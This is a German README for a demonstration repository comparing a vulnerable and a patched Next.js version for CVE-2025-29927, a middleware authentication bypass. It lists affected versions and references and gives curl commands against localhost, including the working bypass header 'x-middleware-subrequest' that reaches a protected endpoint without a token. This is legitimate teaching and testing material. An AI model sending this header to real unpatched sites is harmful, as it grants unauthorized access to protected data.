Next.js CVE-2025-29927 Middleware-Schwachstelle

Dieses Repository ist ein Monorepo-Projekt, das die CVE-2025-29927 Middleware-Schwachstelle mit Next.js Version 15.2.3 und Next.js Version 15.1.7 vergleicht.

Beschreibung der Schwachstelle

CVE-2025-29927 ist eine in der Middleware von Next.js entdeckte Sicherheitslücke, die es ermöglicht, die Authentifizierungs-Middleware mithilfe des Headers x-middleware-subrequest zu umgehen. Diese Schwachstelle betrifft die folgenden Versionen:

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9 Diese Versionen wurden durch Aktualisierung auf die entsprechenden Patch-Versionen behoben.

Ausführung

1. Klonen Sie das Repository.
2. Installieren Sie die Abhängigkeiten: pnpm install
3. Starten Sie den Entwicklungsserver: pnpm dev
4. Zugriff auf die einzelnen Apps

• Gepatchte Version (15.2.3): http://localhost:3000
• Anfällige Version (15.1.7): http://localhost:3001

5. Wenn Sie ohne Token auf den Endpunkt /api/protected zugreifen, wird der Zugriff verweigert.

$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}

6. Wenn Sie ein gültiges Token angeben, können Sie erfolgreich auf den geschützten Endpunkt zugreifen.

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}

7. Umgehen Sie die Middleware mithilfe der Schwachstelle.

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

Projektstruktur

nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # Anfällige Version
│   └── next15_2_3/  # Gepatchte Version
├── packages/
│   └── ui/          # Gemeinsame UI-Komponenten
└── README.md

Referenzen

• Vercel Blog
• DevStefanCho YouTube
• https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
• https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
• https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
• https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927